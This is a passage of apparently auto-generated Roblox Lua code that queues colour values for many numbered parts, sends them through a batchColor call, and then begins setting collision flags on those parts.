if P[555] then colorBatch[#colorBatch+1] = {Part = P[555], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[175] then colorBatch[#colorBatch+1] = {Part = P[175], Color = Color3.new(0.9490196108818054,0.9529411792755127,0.9529411792755127), UnionColoring = false} end
if P[663] then colorBatch[#colorBatch+1] = {Part = P[663], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[579] then colorBatch[#colorBatch+1] = {Part = P[579], Color = Color3.new(0.9725490212440491,0.9725490212440491,0.9725490212440491), UnionColoring = false} end
if P[657] then colorBatch[#colorBatch+1] = {Part = P[657], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[470] then colorBatch[#colorBatch+1] = {Part = P[470], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[767] then colorBatch[#colorBatch+1] = {Part = P[767], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end
if P[491] then colorBatch[#colorBatch+1] = {Part = P[491], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end
if P[607] then colorBatch[#colorBatch+1] = {Part = P[607], Color = Color3.new(0.9725490212440491,0.9725490212440491,0.9725490212440491), UnionColoring = false} end
if P[631] then colorBatch[#colorBatch+1] = {Part = P[631], Color = Color3.new(0.38823530077934265,0.37254902720451355,0.3843137323856354), UnionColoring = false} end
if P[770] then colorBatch[#colorBatch+1] = {Part = P[770], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end
if P[473] then colorBatch[#colorBatch+1] = {Part = P[473], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[694] then colorBatch[#colorBatch+1] = {Part = P[694], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[615] then colorBatch[#colorBatch+1] = {Part = P[615], Color = Color3.new(0.9725490212440491,0.9725490212440491,0.9725490212440491), UnionColoring = false} end
if P[428] then colorBatch[#colorBatch+1] = {Part = P[428], Color = Color3.new(0.10588235408067703,0.16470588743686676,0.2078431397676468), UnionColoring = false} end
if P[575] then colorBatch[#colorBatch+1] = {Part = P[575], Color = Color3.new(0.38823530077934265,0.37254902720451355,0.3843137323856354), UnionColoring = false} end
if P[627] then colorBatch[#colorBatch+1] = {Part = P[627], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end
if P[501] then colorBatch[#colorBatch+1] = {Part = P[501], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[479] then colorBatch[#colorBatch+1] = {Part = P[479], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[676] then colorBatch[#colorBatch+1] = {Part = P[676], Color = Color3.new(0.12941177189350128,0.3294117748737335,0.7254902124404907), UnionColoring = false} end
if P[595] then colorBatch[#colorBatch+1] = {Part = P[595], Color = Color3.new(0.38823530077934265,0.37254902720451355,0.3843137323856354), UnionColoring = false} end
if P[656] then colorBatch[#colorBatch+1] = {Part = P[656], Color = Color3.new(0.12941177189350128,0.3294117748737335,0.7254902124404907), UnionColoring = false} end
if P[648] then colorBatch[#colorBatch+1] = {Part = P[648], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[78] then colorBatch[#colorBatch+1] = {Part = P[78], Color = Color3.new(0.10588235408067703,0.16470588743686676,0.2078431397676468), UnionColoring = false} end
if P[461] then colorBatch[#colorBatch+1] = {Part = P[461], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end
if P[669] then colorBatch[#colorBatch+1] = {Part = P[669], Color = Color3.new(0.12941177189350128,0.3294117748737335,0.7254902124404907), UnionColoring = false} end
if P[82] then colorBatch[#colorBatch+1] = {Part = P[82], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[72] then colorBatch[#colorBatch+1] = {Part = P[72], Color = Color3.new(0.23529411852359772,0.2862745225429535,0.3450980484485626), UnionColoring = false} end
if P[540] then colorBatch[#colorBatch+1] = {Part = P[540], Color = Color3.new(0.42352941632270813,0.3450980484485626,0.29411765933036804), UnionColoring = false} end
if P[703] then colorBatch[#colorBatch+1] = {Part = P[703], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[619] then colorBatch[#colorBatch+1] = {Part = P[619], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end
if P[751] then colorBatch[#colorBatch+1] = {Part = P[751], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end
if P[522] then colorBatch[#colorBatch+1] = {Part = P[522], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[204] then colorBatch[#colorBatch+1] = {Part = P[204], Color = Color3.new(0.4313725531101227,0.6000000238418579,0.7921568751335144), UnionColoring = false} end
if P[114] then colorBatch[#colorBatch+1] = {Part = P[114], Color = Color3.new(0.4313725531101227,0.6000000238418579,0.7921568751335144), UnionColoring = false} end
if P[525] then colorBatch[#colorBatch+1] = {Part = P[525], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[270] then colorBatch[#colorBatch+1] = {Part = P[270], Color = Color3.new(0.10588235408067703,0.16470588743686676,0.2078431397676468), UnionColoring = false} end
if P[664] then colorBatch[#colorBatch+1] = {Part = P[664], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end
if P[745] then colorBatch[#colorBatch+1] = {Part = P[745], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end
if P[670] then colorBatch[#colorBatch+1] = {Part = P[670], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[732] then colorBatch[#colorBatch+1] = {Part = P[732], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end
if P[271] then colorBatch[#colorBatch+1] = {Part = P[271], Color = Color3.new(0.10588235408067703,0.16470588743686676,0.2078431397676468), UnionColoring = false} end
if P[532] then colorBatch[#colorBatch+1] = {Part = P[532], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[671] then colorBatch[#colorBatch+1] = {Part = P[671], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[268] then colorBatch[#colorBatch+1] = {Part = P[268], Color = Color3.new(0.9725490212440491,0.9725490212440491,0.9725490212440491), UnionColoring = false} end
if P[558] then colorBatch[#colorBatch+1] = {Part = P[558], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[567] then colorBatch[#colorBatch+1] = {Part = P[567], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end
if P[697] then colorBatch[#colorBatch+1] = {Part = P[697], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[691] then colorBatch[#colorBatch+1] = {Part = P[691], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[720] then colorBatch[#colorBatch+1] = {Part = P[720], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end
if P[476] then colorBatch[#colorBatch+1] = {Part = P[476], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[653] then colorBatch[#colorBatch+1] = {Part = P[653], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[528] then colorBatch[#colorBatch+1] = {Part = P[528], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[677] then colorBatch[#colorBatch+1] = {Part = P[677], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[650] then colorBatch[#colorBatch+1] = {Part = P[650], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[661] then colorBatch[#colorBatch+1] = {Part = P[661], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[599] then colorBatch[#colorBatch+1] = {Part = P[599], Color = Color3.new(0.38823530077934265,0.37254902720451355,0.3843137323856354), UnionColoring = false} end
if P[498] then colorBatch[#colorBatch+1] = {Part = P[498], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[186] then colorBatch[#colorBatch+1] = {Part = P[186], Color = Color3.new(0.9490196108818054,0.9529411792755127,0.9529411792755127), UnionColoring = false} end
if P[504] then colorBatch[#colorBatch+1] = {Part = P[504], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[646] then colorBatch[#colorBatch+1] = {Part = P[646], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[132] then colorBatch[#colorBatch+1] = {Part = P[132], Color = Color3.new(0.4313725531101227,0.6000000238418579,0.7921568751335144), UnionColoring = false} end
if P[623] then colorBatch[#colorBatch+1] = {Part = P[623], Color = Color3.new(0.9725490212440491,0.9725490212440491,0.9725490212440491), UnionColoring = false} end
if P[488] then colorBatch[#colorBatch+1] = {Part = P[488], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[157] then colorBatch[#colorBatch+1] = {Part = P[157], Color = Color3.new(0.4313725531101227,0.6000000238418579,0.7921568751335144), UnionColoring = false} end
if P[507] then colorBatch[#colorBatch+1] = {Part = P[507], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end
if P[247] then colorBatch[#colorBatch+1] = {Part = P[247], Color = Color3.new(0.9490196108818054,0.9529411792755127,0.9529411792755127), UnionColoring = false} end
if P[660] then colorBatch[#colorBatch+1] = {Part = P[660], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[672] then colorBatch[#colorBatch+1] = {Part = P[672], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[456] then colorBatch[#colorBatch+1] = {Part = P[456], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end
if P[467] then colorBatch[#colorBatch+1] = {Part = P[467], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[123] then colorBatch[#colorBatch+1] = {Part = P[123], Color = Color3.new(0.9490196108818054,0.9529411792755127,0.9529411792755127), UnionColoring = false} end
if P[773] then colorBatch[#colorBatch+1] = {Part = P[773], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end
if P[652] then colorBatch[#colorBatch+1] = {Part = P[652], Color = Color3.new(0.12941177189350128,0.3294117748737335,0.7254902124404907), UnionColoring = false} end
if P[655] then colorBatch[#colorBatch+1] = {Part = P[655], Color = Color3.new(0.12941177189350128,0.3294117748737335,0.7254902124404907), UnionColoring = false} end
if P[688] then colorBatch[#colorBatch+1] = {Part = P[688], Color = Color3.new(0.42352941632270813,0.3450980484485626,0.29411765933036804), UnionColoring = false} end
if P[761] then colorBatch[#colorBatch+1] = {Part = P[761], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end
if P[755] then colorBatch[#colorBatch+1] = {Part = P[755], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end
if P[549] then colorBatch[#colorBatch+1] = {Part = P[549], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[741] then colorBatch[#colorBatch+1] = {Part = P[741], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end
if P[494] then colorBatch[#colorBatch+1] = {Part = P[494], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[433] then colorBatch[#colorBatch+1] = {Part = P[433], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end
if P[238] then colorBatch[#colorBatch+1] = {Part = P[238], Color = Color3.new(0.9490196108818054,0.9529411792755127,0.9529411792755127), UnionColoring = false} end
if P[537] then colorBatch[#colorBatch+1] = {Part = P[537], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[729] then colorBatch[#colorBatch+1] = {Part = P[729], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end
if P[227] then colorBatch[#colorBatch+1] = {Part = P[227], Color = Color3.new(0.9490196108818054,0.9529411792755127,0.9529411792755127), UnionColoring = false} end
if P[712] then colorBatch[#colorBatch+1] = {Part = P[712], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[96] then colorBatch[#colorBatch+1] = {Part = P[96], Color = Color3.new(0.4313725531101227,0.6000000238418579,0.7921568751335144), UnionColoring = false} end
if P[546] then colorBatch[#colorBatch+1] = {Part = P[546], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[724] then colorBatch[#colorBatch+1] = {Part = P[724], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end
if P[482] then colorBatch[#colorBatch+1] = {Part = P[482], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[603] then colorBatch[#colorBatch+1] = {Part = P[603], Color = Color3.new(0.38823530077934265,0.37254902720451355,0.3843137323856354), UnionColoring = false} end
if P[639] then colorBatch[#colorBatch+1] = {Part = P[639], Color = Color3.new(0.38823530077934265,0.37254902720451355,0.3843137323856354), UnionColoring = false} end
if P[716] then colorBatch[#colorBatch+1] = {Part = P[716], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end
if P[265] then colorBatch[#colorBatch+1] = {Part = P[265], Color = Color3.new(0.10588235408067703,0.16470588743686676,0.2078431397676468), UnionColoring = false} end
if P[552] then colorBatch[#colorBatch+1] = {Part = P[552], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[709] then colorBatch[#colorBatch+1] = {Part = P[709], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[674] then colorBatch[#colorBatch+1] = {Part = P[674], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[87] then colorBatch[#colorBatch+1] = {Part = P[87], Color = Color3.new(0.4313725531101227,0.6000000238418579,0.7921568751335144), UnionColoring = false} end
if P[583] then colorBatch[#colorBatch+1] = {Part = P[583], Color = Color3.new(0.38823530077934265,0.37254902720451355,0.3843137323856354), UnionColoring = false} end
if P[256] then colorBatch[#colorBatch+1] = {Part = P[256], Color = Color3.new(0.9490196108818054,0.9529411792755127,0.9529411792755127), UnionColoring = false} end
if P[105] then colorBatch[#colorBatch+1] = {Part = P[105], Color = Color3.new(0.4313725531101227,0.6000000238418579,0.7921568751335144), UnionColoring = false} end
if P[516] then colorBatch[#colorBatch+1] = {Part = P[516], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[682] then colorBatch[#colorBatch+1] = {Part = P[682], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end
if P[485] then colorBatch[#colorBatch+1] = {Part = P[485], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[564] then colorBatch[#colorBatch+1] = {Part = P[564], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[665] then colorBatch[#colorBatch+1] = {Part = P[665], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[430] then colorBatch[#colorBatch+1] = {Part = P[430], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end
if P[543] then colorBatch[#colorBatch+1] = {Part = P[543], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[662] then colorBatch[#colorBatch+1] = {Part = P[662], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end
if P[659] then colorBatch[#colorBatch+1] = {Part = P[659], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[591] then colorBatch[#colorBatch+1] = {Part = P[591], Color = Color3.new(0.9725490212440491,0.9725490212440491,0.9725490212440491), UnionColoring = false} end
if P[513] then colorBatch[#colorBatch+1] = {Part = P[513], Color = Color3.new(0.42352941632270813,0.3450980484485626,0.29411765933036804), UnionColoring = false} end
if P[454] then colorBatch[#colorBatch+1] = {Part = P[454], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end
if P[458] then colorBatch[#colorBatch+1] = {Part = P[458], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end
if P[451] then colorBatch[#colorBatch+1] = {Part = P[451], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end
if P[644] then colorBatch[#colorBatch+1] = {Part = P[644], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
batchColor(endpoint, colorBatch)
local collisionBatch = {}
if P[8] then collisionBatch[#collisionBatch+1] = {Part = P[8], CanCollide = true} end
if P[9] then collisionBatch[#collisionBatch+1] = {Part = P[9], CanCollide = true} end
if P[10] then collisionBatch[#collisionBatch+1] = {Part = P[10], CanCollide = true} end
if P[11] then collisionBatch[#collisionBatch+1] = {Part = P[11], CanCollide = true} end
if P[12] then collisionBatch[#collisionBatch+1] = {Part = P[12], CanCollide = true} end
if P[14] then collisionBatch[#collisionBatch+1] = {Part = P[14], CanCollide = true} end
if P[15] then collisionBatch[#collisionBatch+1] = {Part = P[15], CanCollide = true} end
if P[16] then collisionBatch[#collisionBatch+1] = {Part = P[16], CanCollide = true} end
if P[17] then collisionBatch[#collisionBatch+1] = {Part = P[17], CanCollide = true} end
if P[18] then collisionBatch[#collisionBatch+1] = {Part = P[18], CanCollide = true} end
if P[21] then collisionBatch[#collisionBatch+1] = {Part = P[21], CanCollide = false} end
if P[22] then collisionBatch[#collisionBatch+1] = {Part = P[22], CanCollide = false} end
if P[23] then collisionBatch[#collisionBatch+1] = {Part = P[23], CanCollide = false} end
if P[24] then collisionBatch[#collisionBatch+1] = {Part = P[24], CanCollide = false} end
if P[25] then collisionBatch[#collisionBatch+1] = {Part = P[25], CanCollide = false} end
if P[26] then collisionBatch[#collisionBatch+1] = {Part = P[26], CanCollide = false} end
if P[27] then collisionBatch[#collisionBatch+1] = {Part = P[27], CanCollide = false} end
if P[28] then collisionBatch[#collisionBatch+1] = {Part = P[28], CanCollide = false} end
if P[29] then collisionBatch[#collisionBatch+1] = {Part = P[29], CanCollide = false} end
if P[30] then collisionBatch[#collisionBatch+1] = {Part = P[30], CanCollide = false} end
if P[31] then collisionBatch[#collisionBatch+1] = {Part = P[31], CanCollide = false} end
if P[32] then collisionBatch[#collisionBatch+1] = {Part = P[32], CanCollide = false} end
if P[33] then collisionBatch[#collisionBatch+1] = {Part = P[33], CanCollide = false} end
if P[34] then collisionBatch[#collisionBatch+1] = {Part = P[34], CanCollide = false} end
if P[35] then collisionBatch[#collisionBatch+1] = {Part = P[35], CanCollide = false} end
if P[36] then collisionBatch[#collisionBatch+1] = {Part = P[36], CanCollide = false} end
if P[37] then collisionBatch[#collisionBatch+1] = {Part = P[37], CanCollide = false} end
if P[38] then collisionBatch[#collisionBatch+1] = {Part = P[38], CanCollide = false} end
if P[39] then collisionBatch[#collisionBatch+1] = {Part = P[39], CanCollide = false} end
if P[40] then collisionBatch[#collisionBatch+1] = {Part = P[40], CanCollide = false} end
if P[41] then collisionBatch[#collisionBatch+1] = {Part = P[41], CanCollide = false} end
if P[42] then collisionBatch[#collisionBatch+1] = {Part = P[42], CanCollide = false} end
if P[43] then collisionBatch[#collisionBatch+1] = {Part = P[43], CanCollide = false} end
if P[44] then collisionBatch[#collisionBatch+1] = {Part = P[44], CanCollide = false} end
if P[45] then collisionBatch[#collisionBatch+1] = {Part = P[45], CanCollide = false} end
if P[46] then collisionBatch[#collisionBatch+1] = {Part = P[46], CanCollide = false} end
if P[151] then collisionBatch[#collisionBatch+1] = {Part = P[151], CanCollide = true} end
if P[673] then collisionBatch[#collisionBatch+1] = {Part = P[673], CanCollide = true} end
if P[685] then collisionBatch[#collisionBatch+1] = {Part = P[685], CanCollide = true} end
if P[706] then collisionBatch[#collisionBatch+1] = {Part = P[706], CanCollide = true} end
if P[561] then collisionBatch[#collisionBatch+1] = {Part = P[561], CanCollide = true} end
if P[667] then collisionBatch[#collisionBatch+1] = {Part = P[667], CanCollide = true} end
if P[675] then collisionBatch[#collisionBatch+1] = {Part = P[675], CanCollide = true} end
if P[736] then collisionBatch[#collisionBatch+1] = {Part = P[736], CanCollide = true} end
if P[519] then collisionBatch[#collisionBatch+1] = {Part = P[519], CanCollide = true} end
if P[700] then collisionBatch[#collisionBatch+1] = {Part = P[700], CanCollide = true} end
if P[510] then collisionBatch[#collisionBatch+1] = {Part = P[510], CanCollide = true} end
if P[587] then collisionBatch[#collisionBatch+1] = {Part = P[587], CanCollide = true} end
if P[464] then collisionBatch[#collisionBatch+1] = {Part = P[464], CanCollide = true} end
if P[611] then collisionBatch[#collisionBatch+1] = {Part = P[611], CanCollide = true} end
if P[571] then collisionBatch[#collisionBatch+1] = {Part = P[571], CanCollide = true} end
if P[635] then collisionBatch[#collisionBatch+1] = {Part = P[635], CanCollide = true} end
if P[166] then collisionBatch[#collisionBatch+1] = {Part = P[166], CanCollide = true} end
if P[435] then collisionBatch[#collisionBatch+1] = {Part = P[435], CanCollide = true} end
if P[555] then collisionBatch[#collisionBatch+1] = {Part = P[555], CanCollide = true} end
if P[175] then collisionBatch[#collisionBatch+1] = {Part = P[175], CanCollide = true} end
if P[663] then collisionBatch[#collisionBatch+1] = {Part = P[663], CanCollide = false} end
if P[579] then collisionBatch[#collisionBatch+1] = {Part = P[579], CanCollide = true} end
if P[657] then collisionBatch[#collisionBatch+1] = {Part = P[657], CanCollide = true} end
if P[470] then collisionBatch[#collisionBatch+1] = {Part = P[470], CanCollide = true} end
if P[767] then collisionBatch[#collisionBatch+1] = {Part = P[767], CanCollide = true} end
if P[491] then collisionBatch[#collisionBatch+1] = {Part = P[491], CanCollide = true} end
if P[607] then collisionBatch[#collisionBatch+1] = {Part = P[607], CanCollide = true} end
if P[631] then collisionBatch[#collisionBatch+1] = {Part = P[631], CanCollide = true} end
if P[770] then collisionBatch[#collisionBatch+1] = {Part = P[770], CanCollide = true} end
if P[473] then collisionBatch[#collisionBatch+1] = {Part = P[473], CanCollide = true} end
if P[694] then collisionBatch[#collisionBatch+1] = {Part = P[694], CanCollide = true} end
if P[615] then collisionBatch[#collisionBatch+1] = {Part = P[615], CanCollide = true} end
if P[428] then collisionBatch[#collisionBatch+1] = {Part = P[428], CanCollide = true} end
if P[575] then collisionBatch[#collisionBatch+1] = {Part = P[575], CanCollide = true} end
if P[627] then collisionBatch[#collisionBatch+1] = {Part = P[627], CanCollide = true} end
if P[501] then collisionBatch[#collisionBatch+1] = {Part = P[501], CanCollide = true} end
if P[479] then collisionBatch[#collisionBatch+1] = {Part = P[479], CanCollide = true} end
if P[676] then collisionBatch[#collisionBatch+1] = {Part = P[676], CanCollide = true} end
if P[595] then collisionBatch[#collisionBatch+1] = {Part = P[595], CanCollide = true} end
if P[656] then collisionBatch[#collisionBatch+1] = {Part = P[656], CanCollide = true} end
if P[648] then collisionBatch[#collisionBatch+1] = {Part = P[648], CanCollide = true} end
if P[78] then collisionBatch[#collisionBatch+1] = {Part = P[78], CanCollide = true} end
if P[461] then collisionBatch[#collisionBatch+1] = {Part = P[461], CanCollide = true} end
if P[669] then collisionBatch[#collisionBatch+1] = {Part = P[669], CanCollide = true} end
if P[82] then collisionBatch[#collisionBatch+1] = {Part = P[82], CanCollide = false} end
if P[72] then collisionBatch[#collisionBatch+1] = {Part = P[72], CanCollide = true} end
if P[540] then collisionBatch[#collisionBatch+1] = {Part = P[540], CanCollide = true} end
if P[703] then collisionBatch[#collisionBatch+1] = {Part = P[703], CanCollide = true} end
if P[619] then collisionBatch[#collisionBatch+1] = {Part = P[619], CanCollide = true} end
if P[751] then collisionBatch[#collisionBatch+1] = {Part = P[751], CanCollide = true} end
if P[522] then collisionBatch[#collisionBatch+1] = {Part = P[522], CanCollide = true} end
if P[204] then collisionBatch[#collisionBatch+1] = {Part = P[204], CanCollide = true} end
if P[114] then collisionBatch[#collisionBatch+1] = {Part = P[114], CanCollide = true} end
if P[525] then collisionBatch[#collisionBatch+1] = {Part = P[525], CanCollide = true} end
if P[270] then collisionBatch[#collisionBatch+1] = {Part = P[270], CanCollide = true} end
if P[664] then collisionBatch[#collisionBatch+1] = {Part = P[664], CanCollide = true} end
if P[745] then collisionBatch[#collisionBatch+1] = {Part = P[745], CanCollide = true} end
if P[670] then collisionBatch[#collisionBatch+1] = {Part = P[670], CanCollide = true} end
if P[732] then collisionBatch[#collisionBatch+1] = {Part = P[732], CanCollide = true} end
if P[271] then collisionBatch[#collisionBatch+1] = {Part = P[271], CanCollide = false} end
if P[532] then collisionBatch[#collisionBatch+1] = {Part = P[532], CanCollide = true} end
if P[671] then collisionBatch[#collisionBatch+1] = {Part = P[671], CanCollide = true} end
if P[268] then collisionBatch[#collisionBatch+1] = {Part = P[268], CanCollide = true} end
if P[558] then collisionBatch[#collisionBatch+1] = {Part = P[558], CanCollide = true} end
if P[567] then collisionBatch[#collisionBatch+1] = {Part = P[567], CanCollide = true} end
if P[697] then collisionBatch[#collisionBatch+1] = {Part = P[697], CanCollide = true} end
if P[691] then collisionBatch[#collisionBatch+1] = {Part = P[691], CanCollide = true} end
if P[720] then collisionBatch[#collisionBatch+1] = {Part = P[720], CanCollide = true} end
if P[476] then collisionBatch[#collisionBatch+1] = {Part = P[476], CanCollide = true} end
if P[653] then collisionBatch[#collisionBatch+1] = {Part = P[653], CanCollide = true} end
if P[528] then collisionBatch[#collisionBatch+1] = {Part = P[528], CanCollide = true} end
if P[677] then collisionBatch[#collisionBatch+1] = {Part = P[677], CanCollide = true} end
if P[650] then collisionBatch[#collisionBatch+1] = {Part = P[650], CanCollide = true} end
if P[661] then collisionBatch[#collisionBatch+1] = {Part = P[661], CanCollide = true} end
if P[599] then collisionBatch[#collisionBatch+1] = {Part = P[599], CanCollide = true} end
if P[498] then collisionBatch[#collisionBatch+1] = {Part = P[498], CanCollide = true} end
if P[186] then collisionBatch[#collisionBatch+1] = {Part = P[186], CanCollide = false} end
if P[504] then collisionBatch[#collisionBatch+1] = {Part = P[504], CanCollide = true} end
if P[646] then collisionBatch[#collisionBatch+1] = {Part = P[646], CanCollide = true} end
if P[132] then collisionBatch[#collisionBatch+1] = {Part = P[132], CanCollide = true} end
if P[623] then collisionBatch[#collisionBatch+1] = {Part = P[623], CanCollide = true} end
if P[488] then collisionBatch[#collisionBatch+1] = {Part = P[488], CanCollide = true} end
if P[157] then collisionBatch[#collisionBatch+1] = {Part = P[157], CanCollide = true} end
if P[507] then collisionBatch[#collisionBatch+1] = {Part = P[507], CanCollide = true} end
if P[247] then collisionBatch[#collisionBatch+1] = {Part = P[247], CanCollide = true} end
if P[660] then collisionBatch[#collisionBatch+1] = {Part = P[660], CanCollide = true} end
if P[672] then collisionBatch[#collisionBatch+1] = {Part = P[672], CanCollide = true} end
if P[456] then collisionBatch[#collisionBatch+1] = {Part = P[456], CanCollide = true} end
if P[467] then collisionBatch[#collisionBatch+1] = {Part = P[467], CanCollide = true} end
if P[123] then collisionBatch[#collisionBatch+1] = {Part = P[123], CanCollide = true} end
if P[773] then collisionBatch[#collisionBatch+1] = {Part = P[773], CanCollide = true} end
if P[652] then collisionBatch[#collisionBatch+1] = {Part = P[652], CanCollide = true} end
if P[655] then collisionBatch[#collisionBatch+1] = {Part = P[655], CanCollide = true} end
if P[688] then collisionBatch[#collisionBatch+1] = {Part = P[688], CanCollide = true} end
if P[761] then collisionBatch[#collisionBatch+1] = {Part = P[761], CanCollide = true} end
if P[755] then collisionBatch[#collisionBatch+1] = {Part = P[755], CanCollide = true} end
if P[549] then collisionBatch[#collisionBatch+1] = {Part = P[549], CanCollide = true} end
if P[741] then collisionBatch[#collisionBatch+1] = {Part = P[741], CanCollide = true} end
if P[494] then collisionBatch[#collisionBatch+1] = {Part = P[494], CanCollide = true} end
if P[433] then collisionBatch[#collisionBatch+1] = {Part = P[433], CanCollide = true} end
if P[238] then collisionBatch[#collisionBatch+1] = {Part = P[238], CanCollide = true} end
if P[537] then collisionBatch[#collisionBatch+1] = {Part = P[537], CanCollide = true} end
if P[729] then collisionBatch[#collisionBatch+1] = {Part = P[729], CanCollide = true} end
if P[227] then collisionBatch[#collisionBatch+1] = {Part = P[227], CanCollide = true} end
if P[712] then collisionBatch[#collisionBatch+1] = {Part = P[712], CanCollide = true} end
if P[96] then collisionBatch[#collisionBatch+1] = {Part = P[96], CanCollide = true} end
